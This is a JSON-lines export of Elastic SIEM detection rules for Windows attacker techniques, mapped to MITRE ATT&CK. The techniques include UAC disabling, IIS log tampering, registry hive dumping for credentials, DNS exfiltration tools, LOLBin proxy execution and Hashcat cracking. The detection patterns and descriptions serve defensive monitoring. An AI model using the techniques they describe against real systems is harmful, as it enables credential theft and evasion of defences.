{"description": "Disable User Account Conrol (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc959b48-6c05-95df-570b-f73cd65ce280", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable UAC Using Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLUA\" AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0eb20175-c997-b199-40ec-84b0820c144b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Windows IIS HTTP Logging", "query": "(process.executable:*\\\\appcmd.exe AND process.command_line:*set* AND process.command_line:*config* AND process.command_line:*\\/section\\:httplogging* AND process.command_line:*\\/dontLog\\:true*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f8bcad40-413f-785b-0f2f-6fd322663b32", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Findstr 385201 Execution", "query": "(process.executable:*\\\\findstr.exe AND process.command_line:*\\ 385201*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1518"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1518", "name": "Software Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b148d85-8580-61e0-d9d0-60732c306abe", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New DLL Added to AppInit_DLLs Registry Key", "query": "((winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls) OR NewName:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community", "Tim Shelton"], "license": ""}
{"description": "Dnscat exfiltration tool execution", "enabled": false, "false_positives": ["Legitimate usage of PowerShell Dnscat2 \u2014 DNS Exfiltration tool (unlikely)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "73734c5a-1255-73a9-d01f-04730cac566e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Dnscat Execution", "query": "powershell.file.script_block_text:*Start\\-Dnscat2*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1048", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e798a26e-a2c3-439b-e523-f551c996dd56", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell DNSExfiltration", "query": "(powershell.file.script_block_text:*Invoke\\-DNSExfiltrator* OR (powershell.file.script_block_text:*\\ \\-i\\ * AND powershell.file.script_block_text:*\\ \\-d\\ * AND powershell.file.script_block_text:*\\ \\-p\\ * AND powershell.file.script_block_text:*\\ \\-doh\\ * AND powershell.file.script_block_text:*\\ \\-t\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "dotnet.exe will execute any DLL and execute unsigned code", "enabled": false, "false_positives": ["System administrator Usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "46520717-50e2-f71b-8a3e-15daf9ed99d7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN", "query": "(process.command_line:(*.dll OR *.csproj) AND process.executable:*\\\\dotnet.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community"], "license": ""}
{"description": "Download and compress a remote file and store it in a cab file on local machine.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14fe1a84-adf8-6622-aba3-43dcfadbf476", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Diantz Download and Compress Into a CAB File", "query": "(process.command_line:*diantz.exe* AND process.command_line:*\\ \\\\\\* AND process.command_line:*.cab*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Download or Copy file with Extrac32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "60b50bde-cae3-7543-daf6-e4a9fc5a793a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Extrac32 Execution", "query": "(process.command_line:*extrac32.exe* AND process.command_line:*.cab* AND process.command_line:(*\\/C* OR *\\/Y* OR *\\ \\\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Download or Copy file with Extrac32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "60b50bde-cae3-7543-daf6-e4a9fc5a793a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Extrac32 Execution", "query": "((process.command_line:*extrac32.exe* OR process.executable:*\\\\extrac32.exe OR winlog.event_data.OriginalFileName:\"extrac32.exe\") AND process.command_line:*.cab* AND process.command_line:(*\\/C* OR *\\/Y* OR *\\ \\\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Downloads payload from remote server", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "32b0d402-ebdf-8390-29bf-10a5dda8bf19", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious Payload Download via Office Binaries", "query": "(process.executable:(*\\\\powerpnt.exe OR *\\\\winword.exe OR *\\\\excel.exe) AND process.command_line:*http*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "Reegun J (OCBC Bank)"], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community"], "license": ""}
{"description": "Dump sam, system or security hives using REG.exe utility", "enabled": false, "false_positives": ["Dumping hives for legitimate purpouse i.e. backup or forensic investigation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "db570a86-d26a-347d-05cd-394dc34c75ff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Grabbing Sensitive Hives via Reg Utility", "query": "(process.executable:*\\\\reg.exe AND process.command_line:(*save* OR *export* OR *\u02e2ave* OR *e\u02e3port*) AND process.command_line:(*hklm* OR *hk\u02eam* OR *hkey_local_machine* OR *hkey_\u02eaocal_machine* OR *hkey_loca\u02ea_machine* OR *hkey_\u02eaoca\u02ea_machine*) AND process.command_line:(*\\\\system OR *\\\\sam OR *\\\\security OR *\\\\\u02e2ystem OR *\\\\sy\u02e2tem OR *\\\\\u02e2y\u02e2tem OR *\\\\\u02e2am OR *\\\\\u02e2ecurity))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Endgame", "JHasenbusch", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "48e74770-8f57-df2f-612f-335b761e28f9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919", "query": "(winlog.channel:\"Application\" AND winlog.event_id:\"1511\" AND Provider_Name:\"Microsoft\\-Windows\\-User\\ Profiles\\ Service\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Cybex"], "license": ""}
{"description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f3de0a17-9956-2722-5a0d-d589a744ef77", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New DLL Added to AppCertDlls Registry Key", "query": "(winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session\\ Manager\\\\AppCertDlls\" OR NewName:\"HKLM\\\\SYSTEM\\\\CurentControlSet\\\\Control\\\\Session\\ Manager\\\\AppCertDlls\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community"], "license": ""}
{"description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a1118b9-7036-2f0d-fe7a-641ea79a90ec", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ProtocolHandler.exe Downloaded Suspicious File", "query": "(process.executable:*\\\\protocolhandler.exe AND process.command_line:*\\\"ms\\-word* AND process.command_line:*.docx\\\"*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a1118b9-7036-2f0d-fe7a-641ea79a90ec", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ProtocolHandler.exe Downloaded Suspicious File", "query": "((process.executable.text:*\\\\protocolhandler.exe OR winlog.event_data.OriginalFileName:\"ProtocolHandler.exe\") AND (process.command_line.text:*\\\"ms\\-word* AND process.command_line.text:*.docx\\\"*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2512807b-8ace-fbbc-819d-64754dfed691", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Enable Microsoft Dynamic Data Exchange", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\Word\\\\Security\\\\AllowDDE AND winlog.event_data.Details:(\"DWORD\\ \$0x00000001\$\" OR \"DWORD\\ \$0x00000002\$\")) OR (winlog.event_data.TargetObject:(*\\\\Excel\\\\Security\\\\DisableDDEServerLaunch OR *\\\\Excel\\\\Security\\\\DisableDDEServerLookup) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1559"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1559", "name": "Inter-Process Communication", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6043718a-7012-bc84-f61e-79dd82fffee1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Cleartext Protocol Usage", "query": "(destination.port:(\"8080\" OR \"21\" OR \"80\" OR \"23\" OR \"50000\" OR \"1521\" OR \"27017\" OR \"3306\" OR \"1433\" OR \"11211\" OR \"15672\" OR \"5900\" OR \"5901\" OR \"5902\" OR \"5903\" OR \"5904\") AND action:(\"forward\" OR \"accept\" OR \"2\"))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Alexandr Yampolskyi", "SOC Prime"], "license": ""}
{"description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6043718a-7012-bc84-f61e-79dd82fffee1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Cleartext Protocol Usage", "query": "destination.port:(\"8080\" OR \"21\" OR \"80\" OR \"23\" OR \"50000\" OR \"1521\" OR \"27017\" OR \"1433\" OR \"11211\" OR \"3306\" OR \"15672\" OR \"5900\" OR \"5901\" OR \"5902\" OR \"5903\" OR \"5904\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Alexandr Yampolskyi", "SOC Prime"], "license": ""}
{"description": "Enumerates Active Directory to determine computers that are joined to the domain", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "859bbe54-4a6d-d60e-f2bf-36b6ded359f6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DirectorySearcher Powershell Exploitation", "query": "(powershell.file.script_block_text:*New\\-Object\\ * AND powershell.file.script_block_text:*System.DirectoryServices.DirectorySearcher* AND powershell.file.script_block_text:*.PropertiesToLoad.Add* AND powershell.file.script_block_text:*.findall\$\$* AND powershell.file.script_block_text:*Properties.name*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1018"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "96c2130c-66b8-cbbe-8c28-6910f242647f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Excel Proxy Executing Regsvr32 With Payload", "query": "((process.executable:*\\\\wbem\\\\WMIC.exe OR process.command_line:*wmic\\ * OR winlog.event_data.OriginalFileName:\"wmic.exe\" OR winlog.event_data.Description:\"WMI\\ Commandline\\ Utility\") AND process.command_line:(*regsvr32* OR *rundll32* OR *msiexec* OR *mshta* OR *verclsid*) AND process.parent.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe) AND process.command_line:*process* AND process.command_line:*create* AND process.command_line:*call*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1204", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "(aka_REvil)_Ransomware.yaml"], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)"], "license": ""}
{"description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "96c2130c-66b8-cbbe-8c28-6910f242647f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Excel Proxy Executing Regsvr32 With Payload", "query": "(process.command_line:(*regsvr32* OR *rundll32* OR *msiexec* OR *mshta* OR *verclsid*) AND (process.executable:*\\\\wbem\\\\WMIC.exe OR process.command_line:*wmic\\ *) AND process.parent.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe) AND (process.command_line:*process* AND process.command_line:*create* AND process.command_line:*call*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1204", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "(aka_REvil)_Ransomware.yaml"], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)"], "license": ""}
{"description": "Execute C# code located in the consoleapp folder", "enabled": false, "false_positives": ["Legitimate use of dnx.exe by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5acc7323-42e7-d589-2d1d-d7a499af6904", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Application Whitelisting Bypass via Dnx.exe", "query": "process.executable:*\\\\dnx.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community"], "license": ""}
{"description": "Execute C# code with the Build Provider and proper folder structure in place.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "74e67325-c397-6a0b-0828-95a1b5768b3f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious aspnet_compiler.exe Execution", "query": "(process.executable:*C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework* AND process.executable:*aspnet_compiler.exe*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", "enabled": false, "false_positives": ["Legitimate use by a via a batch script or by an administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eddb8a9b-1016-a9c0-9878-d40b3e3a9ba6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Forfiles For Execution", "query": "((process.executable:*\\\\forfiles.exe OR winlog.event_data.OriginalFileName:\"forfiles.exe\") AND process.command_line:(*\\ \\/p\\ * OR *\\ \\-p\\ *) AND process.command_line:(*\\ \\/m\\ * OR *\\ \\-m\\ *) AND process.command_line:(*\\ \\/c\\ * OR *\\ \\-c\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", "enabled": false, "false_positives": ["Tools that accidentally use the same command line flags and values"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "19fe8e57-2f3d-7e69-d547-f9b15919bd48", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Password Cracking with Hashcat", "query": "(process.executable:*\\\\hashcat.exe OR (process.command_line:*\\-a\\ * AND process.command_line:*\\-m\\ 1000\\ * AND process.command_line:*\\-r\\ *))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Execute VBscript code that is referenced within the *.bgi file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f2e87c2-5daf-f842-c9b8-eb58d001e8c5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Application Whitelisting Bypass via Bginfo", "query": "(process.executable:*\\\\bginfo.exe AND process.command_line:*\\/popup* AND process.command_line:*\\/nolicprompt*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1202", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community"], "license": ""}
{"description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", "enabled": false, "false_positives": ["App-V clients"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1484b6f-1fbc-4795-4ee6-36aabbf95e37", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code", "query": "(process.executable:*\\\\SyncAppvPublishingServer.exe AND process.command_line:*\\\"n;\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
